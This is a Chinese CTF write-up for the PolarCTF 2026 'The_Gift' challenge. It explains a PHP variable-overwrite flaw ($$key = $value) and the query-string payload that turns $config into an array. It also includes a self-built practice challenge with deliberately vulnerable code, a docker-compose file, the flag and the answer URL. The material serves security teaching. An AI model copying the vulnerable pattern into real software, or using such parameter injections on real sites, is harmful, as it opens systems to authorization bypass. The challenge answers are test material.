【PolarCTF2026年春季挑战赛】The_Gift

考察遍历覆盖

复制代码
<?php
include 'config.php';              // 引入配置文件(包含 FLAG)
highlight_file(__FILE__);          // 显示当前文件源码
error_reporting(0);                // 关闭错误报告(隐藏错误信息)

class ConfigModel {
    public $apiKey = '';           // API 密钥
    public $isAdmin = false;       // 管理员标志(关键!)
    public $requestTime = 0;       // 请求时间
    
    public function __construct() {
        $this->requestTime = time();
        // 生成随机 apiKey,无法预测
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {  // 严格比较
            $this->isAdmin = true;          // 验证成功则设为管理员
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();  // 创建配置对象

$requestData = array_merge($_GET, $_POST);  // 合并 GET 和 POST 参数
foreach ($requestData as $key => $value) {
    $$key = $value;  // 🔴 变量覆盖漏洞!
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("Success " . $FLAG);
} else {
    echo "<br>Access Denied.";
}
?>

这道题的关键点是满足下面3个条件:

复制代码
is_array($config)           // 条件1: $config 必须是数组
isset($config['isAdmin'])   // 条件2: $config['isAdmin'] 必须存在
$config['isAdmin'] === 'true' // 条件3: 值必须是字符串 'true'

那么我们通过变量覆盖实现攻击,我们通过GET方式来传递如下payload

复制代码
?config[isAdmin]=true

此时PHP会解析成

复制代码
$_GET = ['config[isAdmin]' => 'true']

然后进入漏洞循环

复制代码
foreach ($requestData as $key => $value) {
    // 第一次循环会读出如下内容:
    $key = 'config[isAdmin]'
    $value = 'true'
    
    // 然后就会执行执行 $$key = $value
    // 即 $config['isAdmin'] = 'true'
}

最终通过所有验证

复制代码
is_array($config)           → ✅ true
isset($config['isAdmin'])   → ✅ true  
$config['isAdmin'] === 'true' → ✅ true(字符串比较)

下面是攻击流程图

复制代码
┌─────────────────────────────────────────────────────────┐
│                    攻击者发送请求                        │
│         GET /index.php?config[isAdmin]=true             │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              PHP 解析 GET 参数                           │
│         $_GET = ['config[isAdmin]' => 'true']           │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              进入漏洞循环 foreach                        │
│         $key = 'config[isAdmin]'                        │
│         $value = 'true'                                 │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              执行变量覆盖 $$key = $value                │
│         $config['isAdmin'] = 'true'                     │
│         ($config 从对象变成数组)                       │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              通过所有判断条件                            │
│         is_array($config) → true                        │
│         isset($config['isAdmin']) → true                │
│         $config['isAdmin'] === 'true' → true            │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│                  输出 Flag 🎉                            │
│         Success flag{variable_overwrite_learned}        │
└─────────────────────────────────────────────────────────┘

最终效果如下:

下面是自己弄的练习题

文件1:题目主文件

复制代码
<?php
// CTF Challenge - Variable Overwrite Vulnerability
// 变量覆盖漏洞练习

error_reporting(0);

class ConfigModel {
    public $apiKey = '';
    public $isAdmin = false;
    public $requestTime = 0;
    
    public function __construct() {
        $this->requestTime = time();
        $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    }
    
    public function validateApiKey($inputKey) {
        if ($inputKey === $this->apiKey) {
            $this->isAdmin = true;
            return true;
        }
        return false;
    }
}

$config = new ConfigModel();

// 漏洞点:变量覆盖
$requestData = array_merge($_GET, $_POST);
foreach ($requestData as $key => $value) {
    $$key = $value;  // 危险!用户可控的变量覆盖
}

if (isset($user_api_key)) {
    $config->validateApiKey($user_api_key);
}

// 获取flag的条件
if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
    die("🎉 Success! Flag: " . getenv("FLAG"));
} else {
    echo "<br>❌ Access Denied.";
    echo "<br><br>💡 Hint: Try to overwrite the \$config variable";
}

// 显示源码供学习
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
}
?>

<html>
<head><title>CTF Challenge - Variable Overwrite</title></head>
<body>
    <h2>📚 学习目标</h2>
    <ul>
        <li>理解PHP变量覆盖漏洞(Variable Overwrite)</li>
        <li>掌握 $$ 可变变量的利用方法</li>
        <li>学会通过变量覆盖改变程序逻辑</li>
    </ul>
    
    <h2>🎯 挑战目标</h2>
    <p>让 <code>$config['isAdmin'] === 'true'</code></p>
    
    <h2>🔍 提示</h2>
    <ul>
        <li>注意第24-26行的foreach循环</li>
        <li>$$key = $value 会导致变量覆盖</li>
        <li>尝试覆盖 $config 变量</li>
    </ul>
    
    <br>
    <a href="?source=1">查看源码</a>
</body>
</html>

文件2:docker-compose.yml配置文件

复制代码
version: '3.8'

services:
  ctf-challenge:
    image: php:7.4-apache  # 直接使用镜像,不需要 build
    ports:
      - "8080:80"
    environment:
      - FLAG=flag{variable_overwrite_learned}
    volumes:
      - ./src:/var/www/html  # 挂载本地代码

题目答案

复制代码
http://localhost:8080/?config[isAdmin]=true
相关推荐
云安全助手11 分钟前
2026年AI安全大模型实战指南:快快云安全AI能力全景解析
人工智能·网络安全·claude
zmj3203244 小时前
欧盟 R155 核心范围
网络安全·信息安全
CS创新实验室6 小时前
CS实验室行业报告:安全类岗位就业分析报告
网络安全·信息安全
网络安全许木9 小时前
自学渗透测试第20天(防火墙基础与规则配置)
运维·服务器·网络·网络安全·渗透测试
Chengbei1111 小时前
业务视角下的金融SRC快速挖掘思路
网络·安全·web安全·网络安全·金融·系统安全·网络攻击模型
姬成韶11 小时前
BUUCTF--[网鼎杯 2020 朱雀组]phpweb
web安全·网络安全·代码审计
兄弟加油,别颓废了。11 小时前
PHPstudy安装靶场
网络安全
一名优秀的码农11 小时前
vulhub系列-73-RA1NXing Bots(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Y学院12 小时前
隐蔽防线,智护互联——网络安全隧道技术的核心价值与实践应用
web安全·网络安全
一袋米扛几楼9812 小时前
【密码学】公钥密码学 Public-Key Cryptography,为什么需要公钥密码?
网络安全